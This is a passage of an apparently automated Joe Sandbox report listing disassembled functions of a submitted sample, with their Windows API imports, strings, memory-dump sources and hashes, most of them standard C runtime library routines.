                                          • DName::operator+.LIBCMT ref: 0090E6B0
                                          • _HeapManager::getMemory.LIBVCRUNTIME ref: 0090E6C8
                                          • operator+.LIBVCRUNTIME ref: 0090E7FC
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: Name::operator+$NameName::$Decorator::get$Type$This$DataHeapIndirectManager::getMemoryName::operator+=Name::operator|=Scopeoperator+
                                          • String ID:
                                          • API String ID: 1537886362-0
                                          • Opcode ID: f944a9aa6200c0fd0fa3d4799df4990e5c68cfb0f72d80f0262e67ec142bed7e
                                          • Instruction ID: 028c031bb50b3f2dec2badd1507e8719108ecb54194f37714b0edd3fe1c53082
                                          • Opcode Fuzzy Hash: f944a9aa6200c0fd0fa3d4799df4990e5c68cfb0f72d80f0262e67ec142bed7e
                                          • Instruction Fuzzy Hash: 0CC19771D00209AFDB18EFA8D895AEEB7B8FF54300F108559F551A72D1EF34AA45CB60
                                          Function 008F0DA3 Relevance: 31.6, APIs: 12, Strings: 6, Instructions: 86libraryloaderCOMMON
                                          Download Yara Rule
                                          APIs
                                          • InitializeCriticalSectionAndSpinCount.KERNEL32(009887E8,00000FA0,707A716D,?,?,?,?,0093F8F0,000000FF), ref: 008F0DD2
                                          • GetModuleHandleW.KERNEL32(api-ms-win-core-synch-l1-2-0.dll,?,?,?,?,0093F8F0,000000FF), ref: 008F0DDD
                                          • GetModuleHandleW.KERNEL32(kernel32.dll,?,?,?,?,0093F8F0,000000FF), ref: 008F0DEE
                                          • GetProcAddress.KERNEL32(00000000,InitializeConditionVariable), ref: 008F0E04
                                          • GetProcAddress.KERNEL32(00000000,SleepConditionVariableCS), ref: 008F0E12
                                          • GetProcAddress.KERNEL32(00000000,WakeAllConditionVariable), ref: 008F0E20
                                          • __crt_fast_encode_pointer.LIBVCRUNTIME ref: 008F0E4B
                                          • __crt_fast_encode_pointer.LIBVCRUNTIME ref: 008F0E56
                                          • CreateEventW.KERNEL32(00000000,00000001,00000000,00000000,?,?,?,?,0093F8F0,000000FF), ref: 008F0E79
                                          • ___scrt_fastfail.LIBCMT ref: 008F0E8A
                                          • DeleteCriticalSection.KERNEL32(009887E8,00000007,?,?,?,?,0093F8F0,000000FF), ref: 008F0E95
                                          • CloseHandle.KERNEL32(00000000,?,?,?,?,0093F8F0,000000FF), ref: 008F0EA5
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: AddressHandleProc$CriticalModuleSection__crt_fast_encode_pointer$CloseCountCreateDeleteEventInitializeSpin___scrt_fastfail
                                          • String ID: InitializeConditionVariable$SleepConditionVariableCS$WakeAllConditionVariable$api-ms-win-core-synch-l1-2-0.dll$kernel32.dll$mqzp
                                          • API String ID: 2634751764-1435175646
                                          • Opcode ID: 7a11d130c90e24a43b1ad951c4f27118169c2262f76ef8d8c516367e13ad2d40
                                          • Instruction ID: 5598bee8ebf4bf4ee9e5ec4ce9f25c21b404cd677350339dab7d188d81480e12
                                          • Opcode Fuzzy Hash: 7a11d130c90e24a43b1ad951c4f27118169c2262f76ef8d8c516367e13ad2d40
                                          • Instruction Fuzzy Hash: 9621C436A68704AFD7206B74AD09F3B77E8EB89B15F504625FA11D2391DF748C009B60
                                          Function 0091D3A9 Relevance: 28.3, APIs: 15, Strings: 1, Instructions: 296COMMON
                                          Download Yara Rule
                                          APIs
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: _free$Info
                                          • String ID: mqzp
                                          • API String ID: 2509303402-955126501
                                          • Opcode ID: 75c1958323cfbc469f84d54f12ebf1b6f729775ff7db3e6219ef3d4e455df76a
                                          • Instruction ID: a5d5804ec1f5045ced3d6d09666585bd3abbf6d68c4b3270b264313c2cf05a41
                                          • Opcode Fuzzy Hash: 75c1958323cfbc469f84d54f12ebf1b6f729775ff7db3e6219ef3d4e455df76a
                                          • Instruction Fuzzy Hash: 9BB1A271A016099FDB11EF78C881BEEFBF9BF48300F144569F499A7251DB76A881CB60
                                          Function 0090F04A Relevance: 28.2, APIs: 13, Strings: 3, Instructions: 155COMMONLIBRARYCODE
                                          Download Yara Rule
                                          APIs
                                          • UnDecorator::getBasicDataType.LIBVCRUNTIME ref: 0090F081
                                          • DName::operator=.LIBVCRUNTIME ref: 0090F092
                                          • DName::operator+=.LIBCMT ref: 0090F0A0
                                          • UnDecorator::getPtrRefType.LIBCMT ref: 0090F0D2
                                          • operator+.LIBVCRUNTIME ref: 0090F0F3
                                          • UnDecorator::getDataIndirectType.LIBVCRUNTIME ref: 0090F150
                                          • UnDecorator::getBasicDataType.LIBVCRUNTIME ref: 0090F159
                                          • UnDecorator::getPtrRefDataType.LIBVCRUNTIME ref: 0090F171
                                          • UnDecorator::getScopedName.LIBVCRUNTIME ref: 0090F1AD
                                          • operator+.LIBVCRUNTIME ref: 0090F1CE
                                          • DName::DName.LIBVCRUNTIME ref: 0090F1E0
                                          • DName::operator=.LIBVCRUNTIME ref: 0090F20B
                                          • DName::operator+=.LIBCMT ref: 0090F219
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: Decorator::get$Type$Data$BasicNameName::operator+=Name::operator=operator+$IndirectName::Scoped
                                          • String ID: std::nullptr_t$std::nullptr_t $volatile
                                          • API String ID: 2673590388-294867888
                                          • Opcode ID: b385e46a6ab199acb6aafecc81629f914749c22412d4d95829a047f8d2f4739f
                                          • Instruction ID: 054f7e3c505bb9fa142ad21a289961092a4abd7dba0cecd777d4bc0a7b7c05d1
                                          • Opcode Fuzzy Hash: b385e46a6ab199acb6aafecc81629f914749c22412d4d95829a047f8d2f4739f
                                          • Instruction Fuzzy Hash: FE51E271808105EECB30DF6CC8659AABFB9FF84300B648579E44496AE6DB32DB46CB50
                                          Function 009283BD Relevance: 23.0, APIs: 10, Strings: 3, Instructions: 257COMMON
                                          Download Yara Rule
                                          APIs
                                          • ___from_strstr_to_strchr.LIBCMT ref: 00928449
                                          • ___from_strstr_to_strchr.LIBCMT ref: 00928457
                                            • Part of subcall function 009158CF: IsProcessorFeaturePresent.KERNEL32(00000017,009158A1,?,?,00861F07,?,?,00000016,?,?,009158AE,00000000,00000000,00000000,00000000,00000000), ref: 009158D1
                                            • Part of subcall function 009158CF: GetCurrentProcess.KERNEL32(C0000417,?,?,?), ref: 009158F3
                                            • Part of subcall function 009158CF: TerminateProcess.KERNEL32(00000000), ref: 009158FA
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: Process___from_strstr_to_strchr$CurrentFeaturePresentProcessorTerminate
                                          • String ID: PATH$\$mqzp
                                          • API String ID: 2025418227-3671218250
                                          • Opcode ID: 72b0e98efe23d9fbbe96bc856e6fc8749f7cadfbfe650c64e95121d84d2e9c4a
                                          • Instruction ID: 225512eed7aea48716a7965bd0252e469233c14f193abf5d444a755f542be7c4
                                          • Opcode Fuzzy Hash: 72b0e98efe23d9fbbe96bc856e6fc8749f7cadfbfe650c64e95121d84d2e9c4a
                                          • Instruction Fuzzy Hash: 21716771A06325AEEF25AF64BC42BBF77A99F85320F140059F4006B2CADE3189418B65
                                          Function 0092E268 Relevance: 19.6, APIs: 13, Instructions: 114COMMONLIBRARYCODE
                                          Download Yara Rule
                                          APIs
                                          • ___free_lconv_mon.LIBCMT ref: 0092E2AC
                                            • Part of subcall function 0092D5FB: _free.LIBCMT ref: 0092D618
                                            • Part of subcall function 0092D5FB: _free.LIBCMT ref: 0092D62A
                                            • Part of subcall function 0092D5FB: _free.LIBCMT ref: 0092D63C
                                            • Part of subcall function 0092D5FB: _free.LIBCMT ref: 0092D64E
                                            • Part of subcall function 0092D5FB: _free.LIBCMT ref: 0092D660
                                            • Part of subcall function 0092D5FB: _free.LIBCMT ref: 0092D672
                                            • Part of subcall function 0092D5FB: _free.LIBCMT ref: 0092D684
                                            • Part of subcall function 0092D5FB: _free.LIBCMT ref: 0092D696
                                            • Part of subcall function 0092D5FB: _free.LIBCMT ref: 0092D6A8
                                            • Part of subcall function 0092D5FB: _free.LIBCMT ref: 0092D6BA
                                            • Part of subcall function 0092D5FB: _free.LIBCMT ref: 0092D6CC
                                            • Part of subcall function 0092D5FB: _free.LIBCMT ref: 0092D6DE
                                            • Part of subcall function 0092D5FB: _free.LIBCMT ref: 0092D6F0
                                          • _free.LIBCMT ref: 0092E2A1
                                            • Part of subcall function 009254D5: HeapFree.KERNEL32(00000000,00000000,?,0092DD68,?,00000000,?,00000000,?,0092E00C,?,00000007,?,?,0092E400,?), ref: 009254EB
                                            • Part of subcall function 009254D5: GetLastError.KERNEL32(?,?,0092DD68,?,00000000,?,00000000,?,0092E00C,?,00000007,?,?,0092E400,?,?), ref: 009254FD
                                          • _free.LIBCMT ref: 0092E2C3
                                          • _free.LIBCMT ref: 0092E2D8
                                          • _free.LIBCMT ref: 0092E2E3
                                          • _free.LIBCMT ref: 0092E305
                                          • _free.LIBCMT ref: 0092E318
                                          • _free.LIBCMT ref: 0092E326
                                          • _free.LIBCMT ref: 0092E331
                                          • _free.LIBCMT ref: 0092E369
                                          • _free.LIBCMT ref: 0092E370
                                          • _free.LIBCMT ref: 0092E38D
                                          • _free.LIBCMT ref: 0092E3A5
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: _free$ErrorFreeHeapLast___free_lconv_mon
                                          • String ID:
                                          • API String ID: 161543041-0
                                          • Opcode ID: 2aa5aef76ccc4528bb9e96c61b454e7587e8d54b308de4275a2b6932f2ab8be5
                                          • Instruction ID: 491221471f3192416e14e045ad21207bf20ea5562f434a3605f1294ea4c1cd78
                                          • Opcode Fuzzy Hash: 2aa5aef76ccc4528bb9e96c61b454e7587e8d54b308de4275a2b6932f2ab8be5
                                          • Instruction Fuzzy Hash: D4315B71601721DFEB20BF38F885B9AB3ECEB80361F258429F459D7569DF70AC818A10
                                          Function 0093409D Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 268COMMON
                                          Download Yara Rule
                                          APIs
                                          • GetCPInfo.KERNEL32(00914028,?,00000000,7FFFFFFF,?,?,00934376,00914028,00914028,?,?,?,?,?,?,?), ref: 00934149
                                          • MultiByteToWideChar.KERNEL32(00914028,00000009,00914028,?,00000000,00000000,?,00934376,00914028,00914028,?,?,?,?,?,?), ref: 009341CC
                                          • __alloca_probe_16.LIBCMT ref: 00934204
                                          • MultiByteToWideChar.KERNEL32(00914028,00000001,00914028,?,00000000,00934376,?,00934376,00914028,00914028,?,?,?,?,?,?), ref: 0093425F
                                          • __alloca_probe_16.LIBCMT ref: 009342AE
                                          • MultiByteToWideChar.KERNEL32(00914028,00000009,00914028,00914028,00000000,00000000,?,00934376,00914028,00914028,?,?,?,?,?,?), ref: 00934276
                                            • Part of subcall function 00926303: RtlAllocateHeap.NTDLL(00000000,?,?,?,009082A9,?,?,?,?,?,00861F07,?,?,?), ref: 00926335
                                          • MultiByteToWideChar.KERNEL32(00914028,00000001,00914028,00914028,00000000,00914028,?,00934376,00914028,00914028,?,?,?,?,?,?), ref: 009342F2
                                          • __freea.LIBCMT ref: 0093431D
                                          • __freea.LIBCMT ref: 00934329
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: ByteCharMultiWide$__alloca_probe_16__freea$AllocateHeapInfo
                                          • String ID: mqzp
                                          • API String ID: 201697637-955126501
                                          • Opcode ID: f36869182fc8bcb2c82c27ca5c83e83a01635bdb1770a40d65061ce4b1d165e3
                                          • Instruction ID: 6bcb43c87e7a4b49c98242676bd24ac5265e813e3f51556ac30b2ee96a0f9cc3
                                          • Opcode Fuzzy Hash: f36869182fc8bcb2c82c27ca5c83e83a01635bdb1770a40d65061ce4b1d165e3
                                          • Instruction Fuzzy Hash: 5D91D671E0461A9ADF248EB5CC41EEEBBB9EF19350F164669E901E7140D735EC80CFA0
                                          Function 008EF270 Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 258COMMON
                                          Download Yara Rule
                                          APIs
                                          • SetEvent.KERNEL32(00000000,707A716D), ref: 008EF2E9
                                          • SetEvent.KERNEL32(00000000,707A716D), ref: 008EF346
                                          • ReleaseSemaphore.KERNEL32(?,?,00000000,707A716D), ref: 008EF35A
                                          • ReleaseSemaphore.KERNEL32(?,?,00000000), ref: 008EF37F
                                          • CloseHandle.KERNEL32(?), ref: 008EF3B3
                                          • SetEvent.KERNEL32(00000000), ref: 008EF3F0
                                            • Part of subcall function 008650A0: CreateEventA.KERNEL32(?,?,?,?,707A716D,mqzpmqzp,?,008F0462,?,707A716D,mqzp,?,?,?,00000000,00000000), ref: 008650D4
                                            • Part of subcall function 008650A0: CloseHandle.KERNEL32(00000000,?,008F0462,?,707A716D,mqzp,?,?,?,00000000,00000000,707A716D,707A716D), ref: 008650EF
                                          • SetEvent.KERNEL32(00000000,?,707A716D), ref: 008EF478
                                          • CloseHandle.KERNEL32(?,707A716D), ref: 008EF4A6
                                          • CloseHandle.KERNEL32(?,707A716D), ref: 008EF583
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: Event$CloseHandle$ReleaseSemaphore$Create
                                          • String ID: mqzp
                                          • API String ID: 573037752-955126501
                                          • Opcode ID: c7863d44153ccbcce602b0ce71d6bb9d9a9399cf60b357bb417f28638843eb8f
                                          • Instruction ID: dd86e0a21b2de24d673478d7414124f7261558bd4db2f7ed05da04e073d6f70a
                                          • Opcode Fuzzy Hash: c7863d44153ccbcce602b0ce71d6bb9d9a9399cf60b357bb417f28638843eb8f
                                          • Instruction Fuzzy Hash: ECA1BD759002499BDF24CF29C884B6EB7B4FF06318F2442A8E919EB392D735ED45CB91
                                          Function 0092CD97 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 209COMMON
                                          Download Yara Rule
                                          APIs
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: _free$EnvironmentVariable___from_strstr_to_strchr
                                          • String ID: `)Q
                                          • API String ID: 1282221369-4022135995
                                          • Opcode ID: fd72fe9f8bc809976f1ebcd67ffaf6d6068c1fcf83144d158b06adadb9550105
                                          • Instruction ID: 5a757879a1b746ec1d388a12ab28f985cb0fc75d5ac527401280bb96fa53b85f
                                          • Opcode Fuzzy Hash: fd72fe9f8bc809976f1ebcd67ffaf6d6068c1fcf83144d158b06adadb9550105
                                          • Instruction Fuzzy Hash: 866149B29043306FDB20BF78B8417BFBBA9AF45320F06416DFA4197299DB319D4087A1
                                          Function 008E20DC Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 78COMMONLIBRARYCODE
                                          Download Yara Rule
                                          APIs
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: Maklocchr$GetcvtMaklocstr$GetvalsH_prolog3_
                                          • String ID: false$true
                                          • API String ID: 2593140031-2658103896
                                          • Opcode ID: ff7495ea11ade88fe69390c51f0dcbc5424c2afa8e9de10d1b3cb687d13a074e
                                          • Instruction ID: 8b920b5bb48a073845523a0b9789655c411c88d8d436baf54deda0e4e3ab98d0
                                          • Opcode Fuzzy Hash: ff7495ea11ade88fe69390c51f0dcbc5424c2afa8e9de10d1b3cb687d13a074e
                                          • Instruction Fuzzy Hash: 182141B2D40348EADF14EFA9D886A9E7BA8FF05710F008157F919DF242DB709644CBA1
                                          Function 0090AD56 Relevance: 16.1, APIs: 6, Strings: 3, Instructions: 301COMMONLIBRARYCODE
                                          Download Yara Rule
                                          APIs
                                          • IsInExceptionSpec.LIBVCRUNTIME ref: 0090AE51
                                          • ___TypeMatch.LIBVCRUNTIME ref: 0090AF83
                                          • IsInExceptionSpec.LIBVCRUNTIME ref: 0090B04D
                                          • __CxxThrowException@8.LIBVCRUNTIME ref: 0090B0AB
                                          • _UnwindNestedFrames.LIBCMT ref: 0090B0CF
                                          • CallUnexpected.LIBVCRUNTIME ref: 0090B0EA
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: ExceptionSpec$CallException@8FramesMatchNestedThrowTypeUnexpectedUnwind
                                          • String ID: csm$csm$csm
                                          • API String ID: 2291861386-393685449
                                          • Opcode ID: 119fb9253ccefcff59ce0a9cc327416100012b0012e05f0cbb73e37d13676bc8
                                          • Instruction ID: 5bb093761ca111173cedb8e94a112467a0420aa4e7ac99a004fef7159a1f9b09
                                          • Opcode Fuzzy Hash: 119fb9253ccefcff59ce0a9cc327416100012b0012e05f0cbb73e37d13676bc8
                                          • Instruction Fuzzy Hash: E3B16D7190030ADFCF25DF94C881AAFBBB9FF58310F00415AE8656B296D731DA51CB92
                                          Function 0092450F Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 216COMMONLIBRARYCODE
                                          Download Yara Rule
                                          APIs
                                          • MultiByteToWideChar.KERNEL32(00000001,00000000,?,?,00000000,00000000,?,7FFFFFFF,00000000,?,?,?,00924760,00000001,00000001,FF76E900), ref: 00924569
                                          • __alloca_probe_16.LIBCMT ref: 009245A1
                                          • MultiByteToWideChar.KERNEL32(00000001,00000001,?,?,00000000,?,?,?,?,00924760,00000001,00000001,FF76E900,?,?,?), ref: 009245EF
                                          • __alloca_probe_16.LIBCMT ref: 00924686
                                          • WideCharToMultiByte.KERNEL32(00000001,00000000,00000000,00000000,?,FF76E900,00000000,00000000,?,00000400,00000000,?,00000000,00000000,00000000,00000000), ref: 009246E9
                                          • __freea.LIBCMT ref: 009246F6
                                            • Part of subcall function 00926303: RtlAllocateHeap.NTDLL(00000000,?,?,?,009082A9,?,?,?,?,?,00861F07,?,?,?), ref: 00926335
                                          • __freea.LIBCMT ref: 009246FF
                                          • __freea.LIBCMT ref: 00924724
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: ByteCharMultiWide__freea$__alloca_probe_16$AllocateHeap
                                          • String ID: mqzp
                                          • API String ID: 3864826663-955126501
                                          • Opcode ID: 7fa47e760cc23bc31255e37b4ac25ae19c1b5f6bb294c940b783953a4deffe45
                                          • Instruction ID: 6db1c6dac368938e6ef36ec11a6a8e55cf2bf709cbb35dc37354d719dd3d8013
                                          • Opcode Fuzzy Hash: 7fa47e760cc23bc31255e37b4ac25ae19c1b5f6bb294c940b783953a4deffe45
                                          • Instruction Fuzzy Hash: F251EF72610226AFEB259FA4EC41EBF7BAEEB41750B154628FD05D6148EB74DC40C6A0
                                          Function 008C2EC0 Relevance: 15.9, APIs: 2, Strings: 7, Instructions: 179COMMON
                                          Download Yara Rule
                                          APIs
                                            • Part of subcall function 008C1270: ___std_type_info_name.LIBVCRUNTIME ref: 008C132E
                                            • Part of subcall function 008C1270: ___std_type_info_name.LIBVCRUNTIME ref: 008C1399
                                          • ___std_type_info_name.LIBVCRUNTIME ref: 008C2F54
                                            • Part of subcall function 00908346: ___unDName.LIBVCRUNTIME ref: 00908372
                                          • ___std_type_info_name.LIBVCRUNTIME ref: 008C2FBE
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
